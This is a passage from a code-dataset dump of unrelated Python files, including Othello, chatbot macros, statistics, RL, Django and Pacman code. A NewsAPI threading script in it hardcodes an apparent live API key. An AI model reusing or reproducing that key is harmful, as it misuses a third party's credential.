#print(i)\n play0(nn, None)\n print(\"black wins: {}\").format(bWin)\n print(\"white wins: {}\").format(wWin)\n print(\"ties: {}\").format(ties)\n print(\"\\nwin pct: {}\").format(bWin/(iterations*1.0))\n\n#Tests a board state (input inside the function)\ndef testBoardState(nn):\n state = [[\" \", \"W\", \"W\", \"W\", \"B\", \"B\", \" \", \" \"],\n [\"W\", \"W\", \"W\", \"W\", \"W\", \"B\", \"W\", \" \"],\n [\"W\", \"B\", \"W\", \"B\", \"W\", \"B\", \"W\", \"B\"],\n [\"B\", \"B\", \"W\", \"W\", \"B\", \"W\", \"B\", \"W\"],\n [\"B\", \"W\", \"W\", \"W\", \"B\", \"B\", \"W\", \"B\"],\n [\"W\", \"W\", \"W\", \"W\", \"W\", \"B\", \"W\", \"B\"],\n [\"W\", \"B\", \"W\", \"B\", \"W\", \"B\", \"W\", \"B\"],\n [\"B\", \"B\", \"W\", \"W\", \"B\", \"W\", \"B\", \"W\"]]\n\n state_vec = np.matrix([0, -1, -1, -1, 1, 1, 0, 0,\n -1, -1, -1, -1, -1, 1, -1, 0,\n -1, 1, -1, 1, -1, 1, -1, 1,\n 1, 1, -1, -1, 1, -1, 1, -1,\n 1, -1, -1, -1, 1, 1, -1, 1,\n -1, -1, -1, -1, -1, 1, -1, 1,\n -1, 1, -1, 1, -1, 1, -1, 1,\n 1, 1, -1, -1, 1, -1, 1, -1])\n state2 = [[\" \", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\"],\n [\"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\"],\n [\"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\"],\n [\"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\"],\n [\"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\"],\n [\"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\"],\n [\"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\"],\n [\"B\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\", \"W\"]]\n state3 = [[\" \", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\"],\n [\"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\"],\n [\"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\"],\n [\"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\"],\n [\"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\"],\n [\"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\"],\n [\"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\"],\n [\"W\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\", \"B\"]]\n board = Board(state3)\n print(board)\n #print(nn.wMatrix1)\n #print(\"-------------\")\n #print(nn.wMatrix1)\n board_vector = board.boardToVector()\n value = nn.getValue(board_vector)\n print(value)\n\n\ndef getNNInputs(state):\n nn_inputs = {}\n for coord in self.game.game_board.valid_moves.keys():\n board_copy = copy.deepcopy(self.game.game_board)\n board_copy.addTile(coord[0], coord[1])\n board_vector = board_copy.boardToVector()\n nn_inputs[coord] = board_vector\n return nn_inputs\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wernst/td-othello","sub_path":"othello/playOthello.py","file_name":"playOthello.py","file_ext":"py","file_size_in_byte":11690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1897045465","text":"\nfrom emora_stdm.state_transition_dialogue_manager.macro import Macro\nfrom typing import Union, Set, List, Dict, Callable, Tuple, NoReturn, Any\nfrom emora_stdm.state_transition_dialogue_manager.ngrams import Ngrams\nfrom emora_stdm.state_transition_dialogue_manager.natex_nlu import NatexNLU\nfrom emora_stdm.state_transition_dialogue_manager import macros_common as mc\nimport random\n\ndef CommonNatexMacro(natex_string):\n class _CommonNatex(Macro):\n\n def __init__(self, macro_dependencies=None):\n if macro_dependencies is None: macro_dependencies = {}\n self.natex = NatexNLU(natex_string, macros={**mc.macros_common_dict, **macro_dependencies})\n self.natex.compile()\n self.natex._regex = self.natex.regex().replace(\"_END_\", \"\").strip()\n\n def run(self, ngrams: Ngrams, vars: Dict[str, Any], args: List[Any]):\n return self.natex.regex()\n return _CommonNatex\n\ndef NatexMacro(natex_string):\n class _CommonNatex(Macro):\n\n def __init__(self, macro_dependencies=None):\n if macro_dependencies is None: macro_dependencies = {}\n self.natex = NatexNLU(natex_string, macros={**mc.macros_common_dict, **macro_dependencies})\n self.natex.precache()\n\n def run(self, ngrams: Ngrams, vars: Dict[str, Any], args: List[Any]):\n match = self.natex.match(ngrams.text(), vars=vars)\n return bool(match)\n return _CommonNatex\n\nagree = '[! -not {' \\\n 'sure, i know,' \\\n '[{yes, yeah, yea, yep, yup, think so, i know, absolutely, exactly, precisely, ' \\\n 'certainly, surely, definitely, probably, true, of course, right}]' \\\n '}]'\nAgree = CommonNatexMacro(agree)\n\ndisagree = '{' + ', '.join([\n '[{no, nay, nah, na, not really, nope, no way, wrong}]',\n '[{absolutely, surely, definitely, certainly, i think} not]',\n '[i, do not, think so]',\n '[not true]'\n]) + '}'\nDisagree = CommonNatexMacro(disagree)\n\nquestion = '{[!/([^ ]+)?/ {who, what, when, where, why, how} /.*/], ' \\\n '[!{is, does, can, could, should, ' \\\n '\"isnt\", \"shouldnt\", \"couldnt\", \"cant\", \"aint\", \"dont\", do,' \\\n 'did, was, were, will, \"wasnt\", \"werent\", \"didnt\", has, had, have} /.*/]}'\nQuestion = CommonNatexMacro(question)\n\nnegation = '{not, \"dont\", \"cant\", \"wont\", \"shouldnt\", \"cannot\", \"didnt\", \"doesnt\",' \\\n ' \"isnt\", \"couldnt\", \"havent\", \"arent\", \"never\", \"impossible\", \"unlikely\", ' \\\n '\"no way\", \"none\", \"nothing\"}'\nNegation = CommonNatexMacro(negation)\n\nconfirm = '{%s, [!-{%s, %s} [{okay, ok, alright, all right, right, i understand, ' \\\n 'i see, got it, makes sense, understood, sounds good, perfect}]]}' % (agree, disagree, negation)\nConfirm = CommonNatexMacro(confirm)\n\ndont_know = '[{' \\\n 'dont know,do not know,unsure,[not,{sure,certain}],hard to say,no idea,uncertain, ' \\\n '[!no {opinion,opinions,idea,ideas,thought,thoughts,knowledge}],' \\\n '[{dont,do not}, have, {opinion,opinions,idea,ideas,thought,thoughts,knowledge}],' \\\n '[!{cant,cannot,dont} {think,remember,recall}]' \\\n '}]'\nDontKnow = CommonNatexMacro(dont_know)\n\nmaybe = '[{maybe,possibly,sort of,kind of,kinda,a little,at times,sometimes,could be,potentially,its possible}]'\nMaybe = CommonNatexMacro(dont_know)\n\nunintrerested = '[!-oh #TOKLIMIT(3) [{okay, sure, alright, all right, fine, um}]]'\nUninterested = NatexMacro(unintrerested)\n\nnotinterested = '{[i, not, care], um? {so, so what, big deal, what, no}, [!#TOKLIMIT(3) [{weird, strange, dumb, stupid, boring, dull}]]}'\nNotInterested = NatexMacro(notinterested)\n\ninterested = '{[!-not [{great, good, cool, awesome, nice, sweet, wonderful, amazing, fun, ' \\\n 'wow, my god, woah, interesting, oh}]], really}'\nInterested = CommonNatexMacro(interested)\n\ndecline_share = \"{\" \\\n \"[not, #LEM(talk,discuss,share,give,tell,say)],\" \\\n \"[none,your,business],\" \\\n \"[that is private]\" \\\n \"}\"\nDeclineShare = CommonNatexMacro(decline_share)\n\nclass Unexpected(Macro):\n\n def __init__(self):\n self.question_natex = NatexNLU(question)\n\n def run(self, ngrams: Ngrams, vars: Dict[str, Any], args: List[Any]):\n statement_only = 's' in args or 'state' in args or 'statement' in args\n vars['__score__'] = 0.0\n if '__previous_unx_response__' not in vars:\n vars['__previous_unx_response__'] = 'Gotcha.'\n if '__previous_unx_answer__' not in vars:\n vars['__previous_unx_answer__'] = 'None'\n\n is_question = self.question_natex.match(ngrams.text())\n if is_question and statement_only:\n return False\n elif is_question:\n if '_explained_stupidity_' in vars and vars['_explained_stupidity_'] == 'True':\n options = {'I\\'match not sure.', 'I don\\'t know.', 'I\\'match not sure about that.', ''} - {\n vars['__previous_unx_response__']}\n question_response = random.choice(list(options))\n vars['__previous_unx_answer__'] = question_response\n vars['__response_prefix__'] = question_response\n else:\n vars['_explained_stupidity_'] = 'True'\n vars['__response_prefix__'] = 'I\\'match not sure.'\n elif len(ngrams.text().split()) < 3 and len(args) == 0:\n vars['__response_prefix__'] = ''\n return True\n else:\n options = {'Yeah.', 'For sure.', 'Right.', 'Uh-huh.'} - {vars['__previous_unx_response__']}\n statement_response = random.choice(list(options))\n if len(args) > 0:\n statement_response = ', '.join([arg for arg in args if arg not in {'s', 'state', 'statement'}]) + ', '\n if args[0] == 'None':\n statement_response = ''\n vars['__previous_unx_response__'] = statement_response\n vars['__response_prefix__'] = statement_response\n return True\n\n\nnatex_macros_common = {\n 'AGREE': Agree(),\n 'DISAGREE': Disagree(),\n 'QUESTION': Question(),\n 'NEGATION': Negation(),\n 'IDK': DontKnow(),\n 'MAYBE': Maybe(),\n 'CONFIRM': Confirm(),\n 'UNINTERESTED': Uninterested(),\n 'NOTINTERESTED': NotInterested(),\n 'INTERESTED': Interested(),\n 'UNX': Unexpected(),\n 'PRIVATE': DeclineShare(),\n}\n\nif __name__ == '__main__':\n from emora_stdm.state_transition_dialogue_manager.natex_nlu import NatexNLU\n print(NatexNLU(question).match(\"i don't know\"))","repo_name":"emora-chat/emora_stdm","sub_path":"emora_stdm/state_transition_dialogue_manager/natex_common.py","file_name":"natex_common.py","file_ext":"py","file_size_in_byte":6578,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"37"} +{"seq_id":"74260883628","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 12 13:25:58 2020\n\n@author: Lukas Baur\n\"\"\"\n\nimport numpy as np\n\nclass Estimator():\n \n def __init__(self, n):\n self.samples = np.zeros(n)\n self.i = 0 #next index to fill value in\n \n def process_next_val(self, value):\n self.samples[self.i] = value\n self.i += 1\n \n def all_samples(self):\n return self.samples[0:self.i]\n \n def mean(self):\n return np.mean(self.all_samples())\n \n def var(self):\n return np.var(self.all_samples(), ddof=1)\n \n def std(self):\n return np.std(self.all_samples(), ddof=1)\n \n def ci(self, tolerance):\n \"\"\"\n GIVEN: 1) n samples\n 2) tolerance (often: 0.05 or 0.01)\n RETUN: μ ± halfwidth\n \n e.g. tolerance=0.05 means:\n P(μ* ∈ [μ-halfwidth,μ+halfwidth] ) = 1- 0.05\n P(μ-halfwidth ≤ μ* ≤ μ+half_width) = 1- 0.05\n \"\"\"\n z_gamma = CiUtil.zgamma(tolerance)\n half_width = (z_gamma * self.std()) / (self.i ** 0.5)\n \n # return (μ, half_width)\n return ConfidenceInterval(self.mean(), half_width, z_gamma=z_gamma, std=self.std(), n=self.i)\n \n def good_n_estimate(self, delta=0.05, eps=(0.05,'rel')):\n '''\n Make predictoin how large n shoud be, such that\n μ* = μ ± eps (absolute case)\n μ* = μ * (1 ± eps) (realtive case)\n with probability 1-delta\n '''\n eps_val = eps[0]\n eps_type = eps[1]\n params = CiUtil.EstParams(delta, eps_val, eps_type)\n return CiUtil.n_that_fits_CI(params, self)\n \n#------------------------------------------------------------------------------------------------------ \n \n#------------------------------------ Confidence Interval Management -------------------------------- \n\n#------------------------------------------------------------------------------------------------------ \n\n\n\nclass ConfidenceInterval:\n def __init__(self, mean, halfwidth, z_gamma=None, std=None, n=None):\n self.mean = mean\n self.halfwidth = halfwidth\n self.z_gamma = z_gamma\n self.std=std\n self.n=n\n \n def __str__(self, output_precision=4):\n mean = np.round(self.mean, decimals=output_precision)\n halfwidth = np.round(self.halfwidth, decimals=output_precision)\n return \"[CI:{} ± {}]\".format(mean, halfwidth)\n \n \n \n\nclass CiUtil:\n \n class EstParams:\n \"\"\"\n delta = P(mean outside of CI) (e.g. 0.05 means 95% guarantee within CI)\n eps_type = 'rel' or 'abs \n eps = halfwidth of CI (in rel or abs)\n \n example: CiUtil.EstParams(0.05, 2, 'abs')\n example: CiUtil.EstParams(0.05, 0.1, 'rel') \n \"\"\"\n def __init__(self, delta, eps, eps_type):\n self.delta = delta\n if eps_type == 'rel':\n self.rel_eps = eps\n self.has_relative_eps = True\n elif eps_type == 'abs':\n self.abs_eps= eps\n self.has_relative_eps = False\n else:\n raise ValueError(\"No such eps type available: {}. Choose 'abs' or 'rel'\".format(eps_type))\n \n \n \n#\n# o o\n# o o\n# o o\n# o o\n# o o \n# o | | o\n# o | 1 - delta | o\n# o | | o\n# o | | o\n# o 0.5*delta | | 0.5*delta o\n#o__________________________|________________________|________________________o\n# \n#\n# gamma = (0.5*delta) + (1 - delta)\n# = 1 - 0.5*delta\n#\n \n zgamma_loockup = { 0.6 : 0.253, \n 0.7 : 0.524, \n 0.8 : 0.842,\n 0.9 : 1.282, \n 0.9333 : 1.501, \n 0.95 : 1.645, #0.1 = 10% \n 0.96 : 1.751, \n 0.9667 : 1.834, \n 0.975 : 1.960, #0.05 = 5% \n 0.98 : 2.054, #0.04 = 4% \n 0.9833 : 2.127, \n 0.9875 : 2.241, #0.025 = 2.5%\n 0.99 : 2.326, #0.02 = 2%\n 0.9917 : 2.395, \n 0.9928 : 2.501, \n 0.995 : 2.576 # 0.01 = 1%\n } \n \n def zgamma(delta):\n gamma = 1-(delta/2)\n discrete_gamma = np.round(gamma, decimals=4)\n if discrete_gamma not in CiUtil.zgamma_loockup:\n raise ValueError('The delta value (=' + str(delta)+ ') for the confidence interval is not supported.')\n z_gamma = CiUtil.zgamma_loockup[discrete_gamma]\n return z_gamma\n \n def n_that_fits_CI(estParams, estimator):\n \"\"\"\n Returns a n, such that:\n P(μ* ∈ [μ ± eps] ) = 1 - delta\n \n example 1 \n delta=0.05, eps=3 (abs) means:\n choose n s.t. P(μ* ∈ [μ-3,μ+3]) = 0.05\n P(μ-3 ≤ μ* ≤ μ+3) = 0.05\n example 2 \n delta=0.05, eps=0.03 (rel) means:\n choose n s.t. P(μ in [μ'-(0.03μ'),μ'+(0.03μ')]) = 0.05\n P(0.97μ'<= μ <= 1.03μ') = 0.05\n \"\"\"\n \n numerator = estimator.var() * (CiUtil.zgamma(estParams.delta) ** 2.0) \n if estParams.has_relative_eps:\n # Relative eps\n # Estimate μ to within ±μ*eps with probabilty (1-delta)\n denumerator = ((estParams.rel_eps**2) * (estimator.mean()**2)) \n else:\n # Absolute eps\n # Estimate μ to within ±eps with probabilty (1-delta)\n denumerator = (estParams.abs_eps**2) \n return numerator / denumerator\n \n \n \n#------------------------------------------------------------------------------------------------------ \n \n#------------------------------------------- Example usages -------------------------------------- \n\n#------------------------------------------------------------------------------------------------------ \n\"\"\"\nest = Estimator(4)\nest.process_next_val(124.2)\nest.process_next_val(128.3)\nest.process_next_val(100.9)\nprint(est.ci(0.02))\n\nk1 = CiUtil.n_that_fits_CI(CiUtil.EstParams(delta=0.05, eps=0.01, eps_type='abs'), est)\nprint(k1)\nk2 = CiUtil.n_that_fits_CI(CiUtil.EstParams(0.05, 3.1, 'abs'), est)\nprint(k2)\n\"\"\"\n","repo_name":"baurls/Thoth-Library","sub_path":"Stochastic/ThothSamples_1_0.py","file_name":"ThothSamples_1_0.py","file_ext":"py","file_size_in_byte":7056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71121484908","text":"# 1486. 장훈이의 높은 선반\n\n# 모든 부분집합을 다 구하는 것 같은 방식\nfor t in range(1, int(input()) + 1):\n N, B = map(int, input().split())\n H = list(map(int, input().split()))\n min_top = sum(H)\n for i in range(1 << N):\n if min_top == B:\n break\n top = 0\n for j in range(N):\n if i & (1 << j):\n top += H[j]\n if top > min_top:\n break\n if B <= top < min_top:\n min_top = top\n\n print('#%d %d' % (t, min_top - B))","repo_name":"haesungbang/Algorithm","sub_path":"swea/study/1486. 장훈이의 높은 선반.py","file_name":"1486. 장훈이의 높은 선반.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4136050733","text":"def find_quotes(a):\n quote = [] \n new_quote = []\n res = []\n\n for i,char in enumerate(a):\n # get position of \"\n if char == '\"':\n quote.append(i)\n \n if len(quote)%2 == 1:\n quote.pop()\n \n for i in range(0,len(quote),2):\n new_quote.append([quote[i],quote[i+1]])\n \n for x in new_quote:\n res.append(a[x[0]+1:x[1]])\n\n\n\n return res\n\n\n\nstr = '\"good\" morning mister \"superman\"'\n\nprint(find_quotes(str))","repo_name":"Thierry014/Checkio_Python","sub_path":"string/Find_Quote.py","file_name":"Find_Quote.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36229805829","text":"\"\"\"\nDependencies:\ntensorflow 1.2\n\"\"\"\nimport numpy as np\nimport tensorflow as tf\nfrom grid_world_env import Grid\nfrom actor import Actor\nfrom critic import Critic\n\nnp.random.seed(1)\ntf.set_random_seed(2)\n\n\nMAX_EPISODE = 450\nActor_lr = 0.001\nCritic_lr = 0.001\n\nenv = Grid()\nenv.draw_board()\nState_dim = 2\nAction_dim = 4\n\nsess = tf.Session()\n\nactor = Actor(sess, State_dim=State_dim, Action_dim=Action_dim, lr=Actor_lr)\ncritic = Critic(sess, State_dim=State_dim, lr=Critic_lr)\n\nsess.run(tf.global_variables_initializer())\n\nfor i_episode in range(MAX_EPISODE):\n s = env.reset()\n t = 0\n track_r =0\n total_action=[]\n done= False\n while( not done and t<200):\n\n a = actor.choose_action(s)\n\n s_, r, done = env.step(env.t_action[a])\n total_action.append(env.t_action[a])\n if done: r = -200\n td_error = critic.learn(s, -r, s_)\n actor.learn(s, a, td_error)\n\n s = s_\n track_r+=r\n t += 1\n print(\"episode:\", i_episode, \" tracked actions to attempt goal:\",total_action)\n","repo_name":"sogabe-tohma/RL_Book","sub_path":"python3_codes/fig4_13/main_actor_critic.py","file_name":"main_actor_critic.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"} +{"seq_id":"8994309029","text":"from rest_framework import viewsets, status\nfrom rest_framework.response import Response\n\nfrom ..dsp.models.campaign_model import CampaignModel\nfrom ..dsp.models.game_config_model import ConfigModel\n\nfrom ..serializers.campaign_serializer import CampaignSerializer\n\n\nclass CampaignViewSet(viewsets.ModelViewSet):\n \"\"\"\n This class defines a viewset for the CampaignModel. It handles creating and deleting campaign objects.\n \"\"\"\n queryset = CampaignModel.objects.all()\n serializer_class = CampaignSerializer\n\n def create(self, request, *args, **kwargs):\n \"\"\"\n Create a campaign object if there's a budget for new campaign in game_config.budget.\n\n Args:\n request (Request): The request object containing the campaign data.\n *args: Variable length argument list.\n **kwargs: Arbitrary keyword arguments.\n\n Returns:\n Response: The response object containing the serialized CampaignModel data or an error response if the request is invalid.\n\n Raises:\n HTTPError: If the request is not valid.\n \"\"\"\n # Retrieve the current game configuration\n current_config = ConfigModel.objects.filter(current=True).first()\n\n # Initialize the serializer with the context containing the current game configuration\n serializer = self.get_serializer(data=request.data, context={'current_config': current_config})\n serializer.is_valid(raise_exception=True)\n\n # Set the 'config' field to the current game configuration\n serializer.validated_data['config'] = current_config\n\n # Create the campaign object\n campaign_instance = CampaignModel.objects.create(**serializer.validated_data)\n\n # Update the budget in the current configuration\n remaining_budget = current_config.budget - serializer.validated_data['budget']\n ConfigModel.objects.filter(current=True).update(budget=remaining_budget)\n\n headers = self.get_success_headers(serializer.data)\n # Update the serializer with the created campaign instance\n serializer = self.get_serializer(campaign_instance)\n return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n\n def destroy(self, request, *args, **kwargs):\n \"\"\"\n Delete a campaign object and returns the budget of the campaign back to configs budget.\n\n :param request: (Request): The request object containing the campaign data.\n\n :return Response: The response object containing a success message or an error response if the campaign object or game configuration does not exist.\n\n :raise HTTPError: If the request is not valid.\n \"\"\"\n # Retrieve the campaign object to delete\n campaign = self.get_object()\n\n # Retrieve the current game configuration or return None if not found\n current_config = ConfigModel.objects.filter(current=True).first()\n\n # Check if the current game configuration exists\n if not current_config:\n return Response({\"error\": \"No current game configuration found.\"},\n status=status.HTTP_400_BAD_REQUEST)\n\n # Add the campaign's budget back to the game configuration's budget\n updated_budget = current_config.budget + campaign.budget\n\n # Update the budget in the current configuration\n ConfigModel.objects.filter(current=True).update(budget=updated_budget)\n\n # Delete the campaign object\n campaign.delete()\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n def update(self, request, *args, **kwargs):\n \"\"\"\n Update a campaign object with the provided data.\n\n Args:\n request (Request): The request object containing the campaign data.\n *args: Variable length argument list.\n **kwargs: Arbitrary keyword arguments.\n\n Returns:\n Response: The response object containing the serialized CampaignModel data or an error response if the request is invalid.\n\n Raises:\n HTTPError: If the request is not valid.\n \"\"\"\n # Retrieve the current game configuration\n current_config = ConfigModel.objects.filter(current=True).first()\n\n # Retrieve the campaign object to update\n campaign = self.get_object()\n\n # Initialize the serializer with the context containing the current game configuration\n serializer = self.get_serializer(campaign, data=request.data, context={'current_config': current_config},\n partial=True)\n serializer.is_valid(raise_exception=True)\n\n # Save the updated campaign object\n campaign = serializer.save()\n\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n","repo_name":"vardanyan1/tDSP_Iponweb","sub_path":"django/src/tdsp/api/campaign_api.py","file_name":"campaign_api.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29068646604","text":"import msvcrt\r\nfrom Directions import Directions\r\n\r\n\r\nclass InputDecoder(object):\r\n directions = {\"w\": Directions.up,\r\n \"s\": Directions.down,\r\n \"a\": Directions.left,\r\n \"d\": Directions.right,\r\n # for arrows:\r\n \"H\": Directions.up,\r\n \"P\": Directions.down,\r\n \"K\": Directions.left,\r\n \"M\": Directions.right,\r\n }\r\n\r\n @staticmethod\r\n def get_direction():\r\n if msvcrt.kbhit() != 1:\r\n return None\r\n\r\n direction = msvcrt.getch()\r\n try: # if using \"w\", \"a\", \"s\" & \"d\"\r\n direction = bytes.decode(direction)\r\n direction = direction.lower()\r\n except UnicodeDecodeError: # if using arrows\r\n direction = msvcrt.getch()\r\n direction = bytes.decode(direction)\r\n return InputDecoder.directions.get(direction)\r\n\r\n @staticmethod\r\n def get_main_menu_input():\r\n inp = msvcrt.getch()\r\n inpn = ord(inp)\r\n try: # if using \"w\", \"a\", \"s\" & \"d\"\r\n inp = bytes.decode(inp)\r\n except UnicodeDecodeError: # if using arrows\r\n inp = msvcrt.getch()\r\n inp = bytes.decode(inp)\r\n direction = InputDecoder.directions.get(inp)\r\n return direction, inpn == 13\r\n\r\n","repo_name":"anyush/Pacman","sub_path":"InputDecoder.py","file_name":"InputDecoder.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23593361358","text":"import time\nimport requests\nimport threading\n\nWORD = \"America\"\nNEWS_API_KEY = \"edbcf19c9bc14326ab698f3713c80574\"\nbase_url = 'https://newsapi.org/v1/'\ntitles = []\n\n\ndef get_sources():\n \"\"\"\n Gets all sources\n \"\"\"\n url = base_url + \"sources\"\n params = {\"language\": \"en\"}\n resp = requests.get(url, params=params)\n data = resp.json()\n sources = [src['id'].strip() for src in data['sources']]\n print(\"all the sources\")\n print(sources)\n return sources\n\n\ndef get_articles(source):\n \"\"\"\n Gets all articles\n \"\"\"\n url = base_url + \"articles\"\n params = {\"source\": source,\n \"apiKey\": NEWS_API_KEY,\n \"sortBy\": \"top\",\n }\n print(\"requesting:\" + source + \", thread %s\" % threading.current_thread().name)\n resp = requests.get(url, params=params)\n if resp.status_code != 200:\n print(\"something went wrong with {}\".format(source))\n print(resp)\n print(resp.text)\n return []\n data = resp.json()\n titles = [str(art['title']) + str(art['description'])\n for art in data['articles']]\n return titles\n\n\ndef count_word(word, titles):\n \"\"\"\n Counts specified word in titles\n \"\"\"\n word = word.lower()\n count = 0\n for title in titles:\n if word in title.lower():\n count += 1\n return count\n\n\ndef split_list(a_list, wanted_parts=1):\n \"\"\"\n Splits the list of sources into a variable amount of parts\n \"\"\"\n length = len(a_list)\n return [a_list[i*length // wanted_parts: (i+1)*length // wanted_parts]\n for i in range(wanted_parts)]\n\n\ndef acquire_release(lock, sub_source_list):\n \"\"\"\n Initiates the threads\n \"\"\"\n global titles\n print(\"initiating thread %s\" % threading.current_thread().name)\n for item in sub_source_list:\n lock.acquire()\n titles = get_articles(item)\n lock.release()\n\n\ndef run_program():\n \"\"\"\n Performs the source data manipulation and threading operations\n \"\"\"\n # start the timer\n start = time.time()\n # get the sources\n sources = get_sources()\n # split the list of sources\n source_list = (split_list(sources, wanted_parts=4))\n sl_1 = source_list[0]\n sl_2 = source_list[1]\n sl_3 = source_list[2]\n sl_4 = source_list[3]\n # designate the lock\n lock = threading.Lock()\n # create the threads\n thread_1 = threading.Thread(target=acquire_release, args=(lock, sl_1,), name='thread 1')\n thread_2 = threading.Thread(target=acquire_release, args=(lock, sl_2,), name='thread 2')\n thread_3 = threading.Thread(target=acquire_release, args=(lock, sl_3,), name='thread 3')\n thread_4 = threading.Thread(target=acquire_release, args=(lock, sl_4,), name='thread 4')\n # start the threads\n thread_1.start()\n thread_2.start()\n thread_3.start()\n thread_4.start()\n # join the threads\n thread_1.join()\n thread_2.join()\n thread_3.join()\n thread_4.join()\n # create report\n art_count = 0\n word_count = 0\n for source in sources:\n titles = get_articles(source)\n art_count += len(titles)\n word_count += count_word(WORD, titles)\n\n print(\"The number of sources: \" + str(len(sl_1) + len(sl_2) + len(sl_3) + len(sl_4)))\n print(WORD, \"found {} times in {} articles\".format(word_count, art_count))\n print(\"Process took {:.0f} seconds\".format(time.time() - start))\n\n\nif __name__ == '__main__':\n run_program()\n\n# Results::\n# The number of sources: 60\n# America found 19 times in 566 articles\n# Process took 59 seconds\n\n# I thought it would have ran faster!\n# There is a lot to learn on this subject, and it's really cool\n","repo_name":"UWPCE-PythonCert-ClassRepos/Sp2018-Online","sub_path":"students/John_Sekora/lesson09/newsAPI_threading.py","file_name":"newsAPI_threading.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39983692760","text":"from fibonacci import fibonacci_method as fibonacci\nfrom powell import powell_method_1 as powell\nfrom matplotlib import pyplot as plt\nfrom const import Function\nfrom sympy import Symbol\nimport numpy as np\nimport math\nfrom time import time\n\nx = Symbol('x')\n\n\nparam_start = 0.01\nparam_end = 2.\nparam_step = 0.02\nfunction_interval = (-20, 20)\n\nplt.rcParams[\"figure.figsize\"] = (10, 5)\n\n\ndef assess(method, *args, **kwargs):\n t1 = time()\n extremum = method(*args, **kwargs)[0]\n t2 = time()\n return extremum, t2 - t1\n\n\ndef compare(func, exact_extremum):\n deltas = {'powell': [], 'fib': []}\n iterations = {'powell': [], 'fib': []}\n epsilons = []\n\n for param in np.arange(param_start, param_end, param_step):\n powell_results = assess(powell, func, function_interval, epsilon1=param, epsilon2=param)\n fibonacci_results = assess(fibonacci, func, function_interval, l=param)\n\n deltas['powell'].append(abs(powell_results[0] - exact_extremum))\n deltas['fib'].append(abs(fibonacci_results[0] - exact_extremum))\n iterations['powell'].append(powell_results[1])\n iterations['fib'].append(fibonacci_results[1])\n\n epsilons.append(param)\n\n fig, ax = plt.subplots(nrows=1, ncols=2)\n ax[0].plot(epsilons, deltas['powell'], c=np.random.rand(3, ))\n ax[0].plot(epsilons, deltas['fib'], c=np.random.rand(3, ))\n ax[0].set_xlabel('epsilon, l')\n ax[0].set_ylabel('accuracy')\n ax[0].legend(['Пауэлл', 'Фибоначчи'])\n ax[1].plot(epsilons, iterations['powell'], c=np.random.rand(3, ))\n ax[1].plot(epsilons, iterations['fib'], c=np.random.rand(3, ))\n ax[1].set_xlabel('epsilon, l')\n ax[1].set_ylabel('iterations_number')\n ax[1].legend(['Пауэлл', 'Фибоначчи'])\n plt.show()\n\n\nif __name__ == '__main__':\n func1 = Function(x ** 4 + 2 * x ** 2 + 4 * x + 1, x)\n func2 = Function(x * (x - 1)**2 * (x - 3)**3, x)\n func3 = Function(math.e**x - 2 * x + 4 * (x + 2)**2, x)\n exact_extremum1 = -0.682\n exact_extremum2 = 0.263\n exact_extremum3 = -1.77\n compare(func3, exact_extremum3)\n compare(func1, exact_extremum1)\n compare(func2, exact_extremum2)\n","repo_name":"alekc080901/portfolio","sub_path":"5 семестр/Методы оптимизации/Методы нулевого порядка/one_dimensional/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29316683430","text":"\"\"\" Functions for training\n\"\"\"\n# standard\nimport copy\nimport itertools\nimport random\n\n# external\nimport fbprophet\nimport numpy as np\nimport pandas as pd\nimport sklearn.metrics\nimport sklearn.model_selection\nfrom pygam.pygam import LinearGAM\n\n\ndef test_train_split(df_features, train_range, test_range):\n \"\"\"Split the data into training and test data\"\"\"\n train_start, train_stop = train_range\n test_start, test_stop = test_range\n\n test_start = test_start or train_stop\n\n # Covert to timestamps which allows us to pass in strings\n # if we want.\n train_start = pd.Timestamp(str(train_start))\n train_stop = pd.Timestamp(str(train_stop))\n test_start = pd.Timestamp(str(test_start))\n test_stop = pd.Timestamp(str(test_stop))\n\n timestamps = df_features[\"ds\"]\n\n train_mask = (timestamps 